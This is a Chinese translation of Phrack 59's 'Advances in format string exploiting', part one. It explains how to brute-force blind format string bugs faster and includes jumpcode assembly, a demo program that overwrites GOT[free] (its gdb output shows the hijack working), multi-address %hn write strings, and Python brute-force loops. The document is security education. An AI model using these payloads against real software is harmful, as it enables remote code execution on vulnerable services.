【原理】高级format string exploit技术P59-0x07(上)

高级format string exploit技术P59-0x07(上)


创建时间:2002-08-17
文章属性:转载
文章提交: xundi (xundi_at_xfocus.org)

高级format string exploit技术P59-0x07(上)

原文: <<Advances in format string exploiting>>
by gera <gera@corest.com>, riq <riq@corest.com>
翻译整理by
alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/  http://www.whitecell.org/
yikaikai < yikaikai@sina.com >

第一部分:暴力破解格式化字符串
第二部分:利用堆(heap)字符串(in SPARC)

|=---------------=[ 第一部分: 暴力破解格式化字符串          ]=---------------=|
|=----------------------=[ gera <gera@corest.com> ]=---------------------=|



    1 - 简介
    2 - 32*32 == 32 - 使用跳转代码(jumpcodes)
      2.1 - 在任何已知地方写入代码
      2.2 - 其他地方的代码
      2.3 - 没有可用的地址
    3 - n倍加快
      3.1 - 多地址覆盖
      3.2 - 多参数暴力破解
    4 - more greets and thanks
    5 - References


前言:

    本文原由whitecell论坛( http://www.whitecell.org/forums/ )yikaikai翻译的,可惜现在
他没有时间,就交由我来翻译了。不过还是要感谢yikaikai的辛苦翻译的前一段。

    本文是讲如何暴力破解format sting的文章。本文讨论的东西使用于类似syslog format string
bug,就是不能利用format string bug得到反馈信息的情况。在可以利用format string bug得到反馈
信息的情况下,我们可以学习得到的信息。从而使我们的exploit更智能。具体请参考pappy@miscmag.com
写的,我翻译的<<如何写远程自动精确定位的format string exploit>>.
本文只是些idea,具体的实现就由你自己来写了.翻译的有点仓促,错误的地方有请各位斧正。

--[ 1. 简介

  也许你在寻找关于format strings exploit的文章。你可以先看scut写的一篇很精彩关于
format strings的文章。

  这篇文章是关于在使用exploit时可以加快暴力破解format stings时速度的两个小技巧。

    "...暴力破解当然不是件快乐的事情,许多exploit的作者都讨厌的东西,人们想方设法的
    使用其他方法来代替暴力破解"

感谢所有在这方面有灵感的人们, 特别是{MaXX, dvorak,Scrippie}, scut[], lg(zip)和 lorian+k.


--[ 2. 32*32 == 32 - 使用跳转代码

   一个format strings的bug可以使往任何数据写到任何地方。作者把它称为write-anything-anywhere
权限。当你有了write-anything-anywhere权限后,在这,描述了一些方法,比如说利用format string
bug改写strcpy()函数的目的指针,free()函数的参数变量和溢出ret2memcpy缓冲(倒,这个具体指什么?)等等。

    Scut[1], shock[2], 和其他一些人阐述了在拥有write-anything-anywhere权限时几种方法
来hook程序的执行流程。例如修改GOT,修改函数指针,修改atexit结构,类的虚拟函数指针等等。当你
想这样做的时候, 你必须知道或者预测出两个不同的地址:函数指针地址和shellcode的地址。 如果你
要盲目的暴力破解的话, 你需要猜测64位。其实也用不了这么多,GOT地址总是开始于0x0804地址,你
的代码总是开始于0x0805...对Linux的确是这样的,所以不是64位, 而是32位。 所以你只需猜测
4,294,967,296次了...你可能想到办法提供4k的nops,这样的话,你就可以每次跳4k,这样就减少到了
1,048,576次。 还有GOT数组每个元素大小是4字节, 剩下了262,144...呵呵,即使是最小的那个
262,144对远程的来说话,还是太大了(对本地的可能还好说点)。

    有时候我们可以使用些其他的技术,如果我们有读权限的话我们可以在目标进程读出些东西来学习,
或者把写权限变成读权限,或者使用大量的nops指令,或者使用目标stack,或者只是硬编码地址值。
等等随你高兴使用。

   你还可以做更多的事情, 因为你不是被限制只能写4字节, 你可以把你的 shellcode写到任意的
地址去。

   其实知道熟悉format strings bug的人都会想到这个---把shellcode写到任意的地址去。
(如果有类试的代码
    for (;;)
       printf(buf);
)
关于这个我也写过一篇拙作<<绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术>>,
其中也展现了一种新的技术--覆盖_dl_lookup_versioned_symbol技术。从此,在控制获得程序控制权
方面又多了种方法。

再总结下几种方法:
1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数指针
6. 覆盖jmpbuf's
7. 覆盖dl_lookup_versioned_symbol

其实覆盖dl_lookup_versioned_symbol也是覆盖GOT技术,只不过是ld的GOT


----[ 2.1 在任何已知地方写入代码

    只要存在format string bug,你就可以把任何东西写到内存的不同地方 ,所以你可以选择
已知的可写的地址。例如0x8051234,我们可以把代码写在这个地方,然后修改函数指针(GOT,atexit
结构等等)让他们指向它:

           GOT[read]:     0x8051234     ; of course using read is just
                                        ; an example

           0x8051234:     shellcode

   现在,shellcode的地址是我们指定的,总是0x8051234,因此你只要暴力破解修改
函数指针地址, 在最坏的情况你将暴力破解这15位。这个量也是非常大的。

    你利用format string使用这种技术的时候可能不能写一个200字节的shellcode(你可以吗?),
也许你只能写一个30字节的shellcode,也可能你只能写几个字节...所以,我们就需要一个
跳转代码(jumpcode).


----[ 2.2 其他地方的代码

    我相信你能够将一些代码放到目标进程的任何地址内存中。假如是这种情况的话,我们就需要
一段跳转代码(jmpcode)来定位shellcode并且跳到那里。做点这个是比较简单的,只需一点小的技术。

    如果shellcode在堆栈的某处, 假如当跳转代码执行的时候,你大概知道shellcode离
SP有多远的话,你就可以跳到SP+8或+5字节的地方:

              GOT[read]:      0x8051234

              0x8051234:      add $0x200, %esp   ; delta from SP to code
                  jmp *%esp          ; just use esp if you can

              esp+0x200:      nops...            ; just in case delta is
                                             ; not really constant
                          real shellcode     ; this is not writen using
                                             ; the format string

   那么假如shellcode代码在堆(heap)中呢? 你有没有好的想法呢?以下想法来自Kato
(这个版本是18 bytes, Kato's 版本较长一些,他没有使用format string):

          GOT[read]:      0x8051234

          0x8051234:      cld
                          mov $0x4f54414a,%eax   ; so it doesn find
                  inc %eax               ; itself (tx juliano)
                          mov $0x804fff0, %edi   ; is it low enough?
                                         ; make it lower
                  repne scasl
                  jcxz .-2               ; keep searching!
                  jmp *$edi              ; upper case letters
                                         ; are ok opcodes.

          somewhere
            in heap:      KATO              ; if you know the alignment
        
                      KKATO             ; one is enough, otherwise
                  KKATO             ; make some be found
                  KKATO
                  real shellcode
                      
    假如在stack中,你又不知道它确切在哪里呢?(10bytes)
    
          GOT[read]:      0x8051234

          0x8051234:      mov $0x4f54414a,%ebx   ; so it doesn find
                  inc %ebx               ; itself (tx juliano)
                          pop %eax        //把read的参数pop出来
                          cmp %ebx, %eax
                  jnz .-2
                  jmp *$esp

          somewhere
           in stack:      KATO              ; you'll know the alignment
                          real shellcode

    在其他地方呢? OK, 你可以自己构造你的jmpcode代码 :-) 不过要小心, 'KATO'也许不是个
很好构造的string,因为它的执行可能带来些副作用. :-)


--| 友好(friendly)函数  |--
    
   当你修改了GOT,让他指向你的函数,然后就可以做些手脚了。例如,假如你改变了函数指针,
free()函数的参数又指向shellcode的buffer,我们就只需要这样做:(2 bytes)

              GOT[free]:      0x8051234          ; using free this time

          0x8051234:      pop %eax           ; discarding real ret addr
                          ret                ; jump to free's argument    

   同样地有read()和syslog还有一些其他函数...不同的是,可能你需要一些稍微复杂点的跳转代码:
(7 or 10 bytes)
              GOT[syslog]:    0x8051234          ; using syslog

          0x8051234:      pop %eax           ; discarding real ret addr
                              pop %eax
                  add $0x50, %eax    ; skip some non-code bytes
                  jmp *$eax

   如果没有其他的方法可行, 但是你可以区分crash和挂起(hung), 你可以用一个无限循环来使
目标机挂起(hung):你可以暴力破解GOT的地址直到服务器挂起,然后你就知道GOT的正确位置了,
接着就可以暴力破解shellcode的地址了。

          GOT[exit]:      0x8051234

          0x8051234:      jmp .              ; infinite loop


----[ 2.3 没有可有的地址
  
   作者不喜欢选用任意的地址,例如0x8051234,他使用了稍微不同的方法

              GOT[free]:      &GOT[free]+4       ; point it to the next 4 bytes
                          jumpcode           ; address is GOT[free]+4

    你不知道GOT[exit]的地址,但是在暴力破解的时候我们假设已经知道,然后使它指向下4个字节。
在那里放置jumpcode.例如,假设GOT[exit]在0x80490994,那么你的跳转代码是0x8049098,
然后你就必须把值0x8049098写入地址0x8049094中。这样的话,当运行exit()的时候就会跳到
0x8049098执行:

  /* fstring.c                                               *
   * demo program to show format strings techinques          *
   * specially crafted to feed your brain by gera@corest.com */

  int main() {
    char buf[1000];

    strcpy(buf,
      "/x88/x96/x04/x08"          // GOT[free]'s address,这是在我的机子上的地址
      "/x8a/x96/x04/x08"          //
      "/x8c/x96/x04/x08"          // jumpcode address (2 byte for the demo)
      "%.38528u"                  // complete to 0x968c (0x968c-3*4)
      "%4$hn"                     // write 0x968a to 0x8049688
      "%.29048u"                  // complete to 0x10804 (0x10804-0x968c)
      "%5$hn"                     // write 0x0804 to 0x804968a
      "%.47956u"                  // complete to 0x1c358 (0x1c358-0x10804)
      "%6$hn"                    // write 0xc35b (pop - ret) to 0x804968c
      );

    printf(buf);
    free(buf);//alert7 add
  }

[alert7@redhat73 alert7]$ gcc -o fstring fstring.c
[alert7@redhat73 alert7]$ gdb fstring -q
(gdb) br main
Breakpoint 1 at 0x8048479
(gdb) r
Starting program: /home/alert7/fstring
Breakpoint 1, 0x08048479 in main ()
(gdb) disass main
Dump of assembler code for function main:
0x8048470 <main>:       push   %ebp
0x8048471 <main+1>:     mov    %esp,%ebp
0x8048473 <main+3>:     sub    $0x3f8,%esp
0x8048479 <main+9>:     sub    $0x8,%esp
0x804847c <main+12>:    push   $0x8048540
0x8048481 <main+17>:    lea    0xfffffc08(%ebp),%eax
0x8048487 <main+23>:    push   %eax
0x8048488 <main+24>:    call   0x8048358 <strcpy>
0x804848d <main+29>:    add    $0x10,%esp
0x8048490 <main+32>:    sub    $0xc,%esp
0x8048493 <main+35>:    lea    0xfffffc08(%ebp),%eax
0x8048499 <main+41>:    push   %eax
0x804849a <main+42>:    call   0x8048338 <printf>
0x804849f <main+47>:    add    $0x10,%esp
0x80484a2 <main+50>:    sub    $0xc,%esp
0x80484a5 <main+53>:    lea    0xfffffc08(%ebp),%eax
0x80484ab <main+59>:    push   %eax
0x80484ac <main+60>:    call   0x8048348 <free>
0x80484b1 <main+65>:    add    $0x10,%esp
(gdb) b * 0x80484ac
Breakpoint 2 at 0x80484ac
(gdb) c
...
00000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
Breakpoint 2, 0x080484ac in main ()
(gdb) x/x 0x8049688
0x8049688 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804968c
(gdb) x/2i 0x0804968c
0x804968c <_GLOBAL_OFFSET_TABLE_+32>:   pop    %eax
0x804968d <_GLOBAL_OFFSET_TABLE_+33>:   ret
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff720 in ?? ()

ok,已经跳到了buf执行了。

   一开始作者没有加free(buf),程序里就没有用到free函数,free函数是不会出现在GOT中的。
   在例子中,GOT[free]地址是0x8049688, 我们使用 format string bug就把GOT[free]
的值改成了0x0804968c,下次free()被调用时就转到0x0804968c去执行了.

    最后一种方法有另一个好处,它不仅可以用于format string---每次写入不同地址,
而且更可以在具有write-anything-anywhere权限的时候使用。就像覆盖strcpy()函数的目的指针
一样或者是一个ret2memcpy的buffer溢出。假如你足够聪明幸运的话,你自己把这技术应用到
单free()bug( free(buf)时候,buf的chunk可又用户控制).


--[ 3. n倍加快

----[ 3.1 - 多地址覆盖

    如果你能写的多多于4个bytes的话, 你不仅可以将shellcode或jumpcode放到你想要放
的地方,而且可以在同时改变多个指针,再次加快破解速度。

    当然这还需要有write-anything-anywhere权限,这就允许我们一次写不止4bytes。 以下有
种使用format strings的简单方法来把同样的值写到所有的指针。

    假设我们使用下面的格式化字符串在0x08049094地址写入0x12345678:

    "/x94/x90/x04/x08"          // the address to write the first 2 bytes
    "AAAA"                      // space for 2nd %.u
    "/x96/x90/x04/x08"          // the address for the next 2 bytes
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22076u"                  // complete to 0x5678 (0x5678-4-4-4-6*8)
    "%hn"                       // write 0x5678 to 0x8049094
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096

    因为%hn不向output string加字符,所以我们能够在不用使用padding的情况下把同一个值
写入几个不同的地方。例如,就象下面的format string,把值0x12345678写入了开始于地址0x8049094
的五个连续地址:

    "/x94/x90/x04/x08"          // addresses where to write 0x5678
    "/x98/x90/x04/x08"          //
    "/x9c/x90/x04/x08"          //
    "/xa0/x90/x04/x08"          //
    "/xa4/x90/x04/x08"          //
    "AAAA"                      // space for 2nd %.u
    "/x96/x90/x04/x08"          // addresses for 0x1234
    "/x9a/x90/x04/x08"          //
    "/x9e/x90/x04/x08"          //
    "/xa2/x90/x04/x08"          //
    "/xa6/x90/x04/x08"          //
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22044u"                  // complete to 0x5678: 0x5678-(5+1+5)*4-6*8
    "%hn"                       // write 0x5678 to 0x8049094
    "%hn"                       // write 0x5678 to 0x8049098
    "%hn"                       // write 0x5678 to 0x804909c
    "%hn"                       // write 0x5678 to 0x80490a0
    "%hn"                       // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%hn"                       // write 0x1234 to 0x8049096
    "%hn"                       // write 0x1234 to 0x804909a
    "%hn"                       // write 0x1234 to 0x804909e
    "%hn"                       // write 0x1234 to 0x80490a2
    "%hn"                       // write 0x1234 to 0x80490a6

    或者等同于使用$的情况

    "/x94/x90/x04/x08"          // addresses where to write 0x5678
    "/x98/x90/x04/x08"          //
    "/x9c/x90/x04/x08"          //
    "/xa0/x90/x04/x08"          //
    "/xa4/x90/x04/x08"          //
    "/x96/x90/x04/x08"          // addresses for 0x1234
    "/x9a/x90/x04/x08"          //
    "/x9e/x90/x04/x08"          //
    "/xa2/x90/x04/x08"          //
    "/xa6/x90/x04/x08"          //
    "%.22096u"                  // complete to 0x5678 (0x5678-5*4-5*4)
    "%8$hn"                     // write 0x5678 to 0x8049094
    "%9$hn"                     // write 0x5678 to 0x8049098
    "%10$hn"                    // write 0x5678 to 0x804909c
    "%11$hn"                    // write 0x5678 to 0x80490a0
    "%12$hn"                    // write 0x5678 to 0x80490a4
    "%.48060u"                  // complete to 0x11234 (0x11234-0x5678)
    "%13$hn"                    // write 0x1234 to 0x8049096
    "%14$hn"                    // write 0x1234 to 0x804909a
    "%15$hn"                    // write 0x1234 to 0x804909e
    "%16$hn"                    // write 0x1234 to 0x80490a2
    "%17$hn"                    // write 0x1234 to 0x80490a6

    这个例子中,一次改写了五个“函数指针”,当然也可以改写更多。真正的限制是你能提供多长的字符串,
假如你不直接使用参数(就是不使用$hn情况)的话,你还要考虑为了得到要写的地址,你需要确定pop多少个参数。
一般直接使用参数访问是有限制(Solaris's 库是30, 有些Linuxes 是400, 也许还有其他的值)。

    如果你想将jumpcode和多地址覆盖技术结合起来的话,你必须记住跳转代码(jumpcode)不是在
函数指针的后面的4个bytes, 而是更远, 这起决于你想一次覆盖多少个地址。


----[ 3.2 - 多参数暴力破解

    有时候你不知道需要pop多少个参数,或者使用$hn的时候你不知道需要直接跳多少参数,所以你需要尝试直到
得到正确的数值. 有些时候我们没有更好的方法, 特别是在非盲目暴力破解format string bug的时候。
但是无论如何, 你可能会碰到不知道要pop多少个参数的情况,我们可以使用下面这个例子把它找出来。

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "/x94/x90/x04/x08"        # GOT[free]'s address
      fstring += "/x96/x90/x04/x08"        #
      fstring += "/x98/x90/x04/x08"        # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+1)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+2)      # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 1

   这个例子中, 我们使用递增变量'pops'方法来找到合适的值(使用直接参数访问)。假如我们重复多次
使用目标地址,我们就可以使pops变量增长的更快。例如,我们可以重复每个地址5次,这样我们就可以
加快暴力破解的速度了。

    pops = 8
    worked = 0
    while (not worked):
      fstring  = "/x94/x90/x04/x08" * 5    # GOT[free]'s address
      fstring += "/x96/x90/x04/x08" * 5    # repeat eddress 5 times
      fstring += "/x98/x90/x04/x08" * 5    # jumpcode address
      fstring += "%.37004u"                # complete to 0x9098
      fstring += "%%%d$hn" % pops          # write 0x9098 to 0x8049094
      fstring += "%.30572u"                # complete to 0x10804
      fstring += "%%%d$hn" % (pops+6)      # write 0x0804 to 0x8049096
      fstring += "%.47956u"                # complete to 0x1c358
      fstring += "%%%d$hn" % (pops+11)     # write (pop - ret) to 0x8049098
      worked = try_with(fstring)
      pops += 5

    找到5个中任何一个随机的拷贝就可以了, 越多的拷贝速度越快

    这是一个简单的想法,只是重复覆盖地址。如果你有什么疑问,可以用笔和纸画画计算下,
先画出放有format string的stack,再把一些随机参数放在堆栈顶,然后手动开始暴力破解...

    这看起来很傻但也许有天会帮上你, 你永远不可能知道。 当然了, 不直接参数访问
也可以同样做到。但是比较复杂了,因为每次你必须要重新计算%.u的长度。

--[ 未命名和未列出的部分
    
    通过这篇文章, 我的观点是:format string可以做到的比具有4-bytes-write-anything-anywhere
权限的多,它是可以把任意多的字节写到任何地址(也就是说具有full write-anything-anywhre权限),
这会给我们更多的可能。

    好了,文章就写到这里,剩下的就由你来完成了。


--[ 4. more greets and thanks

    riq, for trying every stupid idea I have and making it real!

    juliano, for being our format strings guru.

    Impact, for forcing me to spend time thinking about all theese amazing
    things.

--[ 5. references

[1] Exploiting Format String Vulnerability, scut's.
    March 2001. http://www.team-teso.net/articles/formatstring

[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team.
    January 1999. http://www.w00w00.org/articles.html

[3] Juliano's badc0ded
     http://community.corest.com/~juliano

[4] Google the oracle.
     http://www.google.com
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值